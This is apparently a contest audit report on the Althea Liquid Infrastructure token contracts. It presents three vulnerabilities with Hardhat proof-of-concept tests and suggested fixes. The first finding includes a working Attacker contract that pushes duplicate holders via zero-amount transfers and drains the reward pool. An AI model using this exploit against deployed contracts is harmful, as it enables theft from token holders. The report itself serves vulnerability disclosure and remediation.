Althea Liquid Infrastructure - rouhsamad's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L271-L277

Vulnerability details

Vulnerability details

Its possible to push same address into holders array multiple times. this issue lies in this code:

function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
) internal virtual override {
    require(!LockedForDistribution, "distribution in progress");
    if (!(to == address(0))) {
        require(
            isApprovedHolder(to),
            "receiver not approved to hold the token"
        );
    }
    if (from == address(0) || to == address(0)) {
        _beforeMintOrBurn();
    }
    bool exists = (this.balanceOf(to) != 0);
    if (!exists) {
        holders.push(to);
    }
}

the condition bool exists = (this.balanceOf(to) != 0); is not sufficient to prevent same address from being added to holders as its not checking if amount parameter is 0 or not. in case that amount is zero, to will be pushed to holders as many times as attacker wants to.

Scenario:

• Attacker has access to two different approved wallets with each one holding 100 tokens
• Attacker transfers all tokens of second wallet to first wallet, now second wallet is on longer in holders array
• Attacker transfers 0 tokens from his first wallet to his second wallet for 100 times and since bool exists = (this.balanceOf(to) != 0); is bypassed, his second wallet will be added to holders for 100 times.
• Attacker calls distributeToAllHolders function and rewards himself many times in a row untill contract is out of tokens

Proof of Concept

firstly, create a contract named attacker.sol in /contracts folder:

//SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.12; // Force solidity compliance

import "@openzeppelin/contracts/access/Ownable.sol";
import {LiquidInfrastructureERC20} from "./LiquidInfrastructureERC20.sol";

contract Attacker is Ownable {
    address attacker_wallet_1;

    constructor(address _attacker_wallet_1) {
        attacker_wallet_1 = _attacker_wallet_1;
    }

    function attack(
        address _infraERC20,
        address _attacker_wallet_2,
        uint _times
    ) public onlyOwner {
        for (uint i = 0; i < _times; i++) {
            LiquidInfrastructureERC20(_infraERC20).transferFrom(
                attacker_wallet_1,
                _attacker_wallet_2,
                0
            );
        }
    }
}

then add this two view function to the end of LiquidInfrastructureERC20.sol:

function getHolderAtIndex(uint index) public view returns (address) {
    return holders[index];
}

function getHoldersLength() public view returns (uint256) {
    return holders.length;
}

and finally add this test to test/liquidERC20.ts file:

it("push same address into holders and steal all rewards", async () => {
  const {
    infraERC20,
    testERC20A,
    holder1,
    holder2,
    holder3,
    holder4,
  } = await liquidErc20Fixture();

  //@audit-info firstly, approve all holders
  const holders = [holder1, holder2, holder3, holder4];
  for (let holder of holders) {
    await infraERC20.approveHolder(holder.address);
  }

  //@audit-info attacker is holder1
  var { bytecode, abi } = JSON.parse(fs.readFileSync("./artifacts/contracts/Attacker.sol/Attacker.json", "utf8").toString());
  const attackerFactory = new ethers.ContractFactory(abi, bytecode, holder1);
  //@audit-info deploy attacker contract
  const attackerContract = await attackerFactory.deploy(holder1.address)

  //@audit-info mint to first holder
  await infraERC20.mint(holder1.address, ethers.parseEther("100"));

  //@audit-info we assert that holders array has only 1 parameters
  const holder_at_index = await infraERC20.getHolderAtIndex(0);
  expect(holder_at_index).to.be.equal(holder1.address);

  //@audit-info we must only have 1 holders
  expect(await infraERC20.getHoldersLength()).to.be.equal(1);

  //@audit-info holder first needs to approve attackerContract
  await infraERC20.connect(holder1).approve(attackerContract.getAddress(), ethers.parseEther("1000000000000"));

  //@audit-info now we perform the attack, pushing holder2 100 times into holders array
  await attackerContract.attack(infraERC20.getAddress(), holder2.address, 100)

  //@audit-info now we transfer all holder1 tokens to holder2
  await infraERC20.connect(holder1).transfer(holder2.address, await infraERC20.balanceOf(holder1))

  //@audit-info all the holders from index 0 - 100 are equal to holder2
  for (let i = 0; i < 101; i++) {
    const holder_at_index = await infraERC20.getHolderAtIndex(i);
    expect(holder_at_index).to.be.equal(holder2.address);
  }

  //@audit-info length of holders is 100, all same wallet
  expect(await infraERC20.getHoldersLength()).to.be.equal(101);

  //@audit-info now we mint tokens to other holders
  await infraERC20.mint(holder1.address, ethers.parseEther("100"));
  await infraERC20.mint(holder3.address, ethers.parseEther("100"));
  await infraERC20.mint(holder4.address, ethers.parseEther("100"));

  //@audit-info transfer 10_000 test tokens to infraERC20 for distributing to holders
  await testERC20A.transfer(infraERC20.getAddress(), ethers.parseEther("10000"));
  expect((await testERC20A.balanceOf(infraERC20.getAddress())).toString()).to.be.equal(ethers.parseEther("10000").toString())

  //@audit-info initial reward balance of the holder2
  const b0 = await testERC20A.balanceOf(holder2.address);

  //@audit-info set distributable tokens
  await infraERC20.setDistributableERC20s([testERC20A.getAddress()])

  //@audit-info mine 500 blocks
  mine(500);

  //@audit-info now distribute tokens to all holders, we expect holder2 to receive all the tokens
  //@audit-info since our total supply is 400 tokens we expect each holder to receive 1/4 of reward tokens
  //but since holders array is fulled with holder2 address, with only 4 distributions , holder2 will receive all the tokens
  await infraERC20.distribute(4);

  //@audit-info secondary reward balance of the holder2
  const b1 = await testERC20A.balanceOf(holder2.address);

  expect((await testERC20A.balanceOf(infraERC20.getAddress())).toString()).to.be.equal("0")
  expect((b1 - b0).toString()).to.be.equal(ethers.parseEther("10000").toString());
})

Tools Used

• Hardhat
• Manual review

Recommended Mitigation Steps

only add to to holders list only if amount is > 0:

    bool exists = (this.balanceOf(to) != 0);
    if (!exists && amount > 0) {
        holders.push(to);
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L216 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L116-L119 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L275

Vulnerability details

Vulnerability details

When calculating rewards, balance of each distributableERC20 is divided by supply to calculate entitlement (amount of distributableERC20 per infraERC20 share), however, totalSupply() is used in this calculation which also includes amount of tokens that are owned by disapproved wallets (assuming that their balance > 0 which means that they were approved before). The issue arises from the fact that we are excluding disapproved wallets from receiving rewards which means that the tokens owned by this wallets should not be involved in calculating rewards ratio at the first place.

Impact

• Less rewards will be distributed to approved holders, a portion of rewards will be allocated to disapproved holders which means that a portion of distributableERC20 tokens will be locked in the contract forever.
• The impact of this issue could be anywhere from low to high depending on total number of tokens that are allocated to disapproved holders

Proof of Concept

• 1- Owner approves Alice and Bob
• 2- Owner mints 100 tokens to Alice and 100 tokens to BOB
• 3- After a while owner finds out that Alice KYC is fake, hence owner will disapprove Alice account, but Alice still holds 100 tokens, the point is that she is not able to use her tokens anymore (expect transferring them to another approved address), so they are of no use to her and she forgets about those tokens.
• 4- Owner withdraws USDC tokens from ManagedNFTs by calling withdrawFromManagedNFTs
• 5- new distribution started. calculating entitlement by dividing total USDC and total shares (1000 / 200 = 5 USDC per share)
• 6- in distribution process, Alice is skipped as she is not an approved wallet anymore, wasting 5 * 100 => 500 tokens of USDC
• 7- BOB is given 500 tokens of USDC

Tools Used

Manual review

Recommended Mitigation Steps

keep track of tokens owned by approved wallets, this is possible by declaring a variable named totalApprovedShares and updating it whenever a wallet is approved/disapproved and whenever a mint/burn happens:

first declare a variable named totalApprovedShares:

uint256 public totalApprovedShares = 0;

then update approveHolder and disapproveHolder functions:

function approveHolder(address holder) public onlyOwner {
    require(!isApprovedHolder(holder), "holder already approved");
    HolderAllowlist[holder] = true;
    totalApprovedShares += balanceOf(holder);
}

function disapproveHolder(address holder) public onlyOwner {
    require(isApprovedHolder(holder), "holder not approved");
    HolderAllowlist[holder] = false;
    totalApprovedShares -= balanceOf(holder);
}

and then update _beforeTokenTransfer to also keep track of minted/burned tokens and update approved shares accordingly:

function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
) internal virtual override {
    require(!LockedForDistribution, "distribution in progress");

    if (!(to == address(0))) {
        require(
            isApprovedHolder(to),
            "receiver not approved to hold the token"
        );
        //if minting / or from is not approved
        if(!isApprovedHolder(from) || from == address(0)){
           totalApprovedShares += amount;
        }
    }else{
        //this means that we are burning tokens
        if(isApprovedHolder(from)){
           totalApprovedShares -= amount;
        }
    }

    if (from == address(0) || to == address(0)) {
        _beforeMintOrBurn();
    }

    bool exists = (this.balanceOf(to) != 0);
    if (!exists) {
        holders.push(to);
    }
}

also we need to update _beginDistribution :

function _beginDistribution() internal {
    require(
        !LockedForDistribution,
        "cannot begin distribution when already locked"
    );
    LockedForDistribution = true;

    // clear the previous entitlements, if any
    if (erc20EntitlementPerUnit.length > 0) {
        delete erc20EntitlementPerUnit;
    }

    // Calculate the entitlement per token held
    uint256 supply = totalApprovedShares;
    for (uint i = 0; i < distributableERC20s.length; i++) {
        uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
            address(this)
        );
        uint256 entitlement = balance / supply;
        erc20EntitlementPerUnit.push(entitlement);
    }

    nextDistributionRecipient = 0;
    emit DistributionStarted();
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L425-L426 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L371 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L380 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L382-L385

Vulnerability details

Vulnerability details

When owner releases a ManagedNFT using releaseManagedNFT function, the nftContract is removed from the ManagedNFTs array, but nextWithdrawal is not adjusted to match the new size of ManagedNFTs. For example, let's assume nextWithdrawal is equal to 5. If the owner releases two ManagedNFTs, the size of ManagedNFTs decreases to 3, but nextWithdrawal remains at 5. This causes an issue within the following code:

    uint256 limit = Math.min(
        numWithdrawals + nextWithdrawal,
        ManagedNFTs.length
    );
    uint256 i;
    for (i = nextWithdrawal; i < limit; i++) {
        LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
            ManagedNFTs[i]
        );

        (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
        withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
        emit Withdrawal(address(withdrawFrom));
    }
    nextWithdrawal = i;

    if (nextWithdrawal == ManagedNFTs.length) {
        nextWithdrawal = 0;
        emit WithdrawalFinished();
    }

Since limit is calculated as the minimum of ManagedNFTs.length and nextWithdrawal + nextWithdrawals, the for loop will not execute because nextWithdrawal is now greater than limit (or size of ManagedNFTs). Ultimately, we assign nextWithdrawal to i, which maintains the value of nextWithdrawal. This leads to the following condition becoming unreachable:

    if (nextWithdrawal == ManagedNFTs.length) {
        nextWithdrawal = 0;
        emit WithdrawalFinished();
    }

Impact

Withdrawing tokens from ManagedNFTs becomes disabled until the owner adds new ManagedNFT contracts to increase the size of ManagedNFTs and resolve this issue.

Proof of Concept

Add this test at the end of test/liquidERC20.ts:

it("nextWithdrawal index being more than ManagedNFTs length", async () => {
  const {
    infraERC20,
    nftAccount1,
    nftAccount2,
    nftAccount3,
    holder1,
    holder2,
    holder3,
    holder4,
  } = await liquidErc20Fixture();

  const holders = [holder1, holder2, holder3, holder4];
  for (let holder of holders) {
    const address = holder.address;
    await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
  }
  const nftOwners = [nftAccount1, nftAccount2, nftAccount3];
  let nfts: LiquidInfrastructureNFT[] = [
    await deployLiquidNFT(nftAccount1),
    await deployLiquidNFT(nftAccount2),
    await deployLiquidNFT(nftAccount3),
  ];

  // @audit-info Register 4 NFTs in the contract
  await transferNftToErc20AndManage(infraERC20, nfts[0], nftOwners[0]);
  await mine(1);
  await transferNftToErc20AndManage(infraERC20, nfts[1], nftOwners[1]);
  await mine(1);
  await transferNftToErc20AndManage(infraERC20, nfts[2], nftOwners[2]);
  await mine(1);
  //@audit-info adding a duplicate one for simplicity
  await infraERC20.addManagedNFT(nfts[0]);
  await mine(1);

  //length of ManagedNFTs is 4
  expect(await infraERC20.getManagedNFTsLength()).to.be.equal(4)

  //@audit-info increase nextWithdraw to 3
  await infraERC20.withdrawFromManagedNFTs(3);

  //@audit-info nextWithdrawal is now 3
  let index = await infraERC20.nextWithdrawal()
  expect(index).to.be.equal(3)

  //@audit-info remove 3 nfts from the ManagedNFTs, decreasing size of ManagedNFTs to 1
  await infraERC20.releaseManagedNFT(nfts[0].getAddress(), nftOwners[0])
  await infraERC20.releaseManagedNFT(nfts[1].getAddress(), nftOwners[1])
  await infraERC20.releaseManagedNFT(nfts[2].getAddress(), nftOwners[2])

  //@audit-info nextWithdrawal is still 3
  index = await infraERC20.nextWithdrawal()
  expect(index).to.be.equal(3)

  //@audit-info we will not be able to withdraw from managed nfts anymore
  await infraERC20.withdrawFromManagedNFTs(10000);

  //@audit-info nextWithdrawal is still 3
  index = await infraERC20.nextWithdrawal()
  expect(index).to.be.equal(3)

  expect(await infraERC20.getManagedNFTsLength()).to.be.equal(1)

})

Tools Used

• Hardhat
• Manual review

Recommended Mitigation Steps

adjust releaseManagedNFT function to check if nextWithdrawal is greater than ManagedNFTs.length or not, if yes, we reset nextWithdrawal to zero

function releaseManagedNFT(
    address nftContract,
    address to
) public onlyOwner nonReentrant {
    //[...other code]
    if(nextWithdrawal > ManagedNFTs.length) {
       nextWithdrawal = 0;
    }
    require(true, "unable to find released NFT in ManagedNFTs");

    emit ReleaseManagedNFT(nftContract, to);
}

Assessed type

Other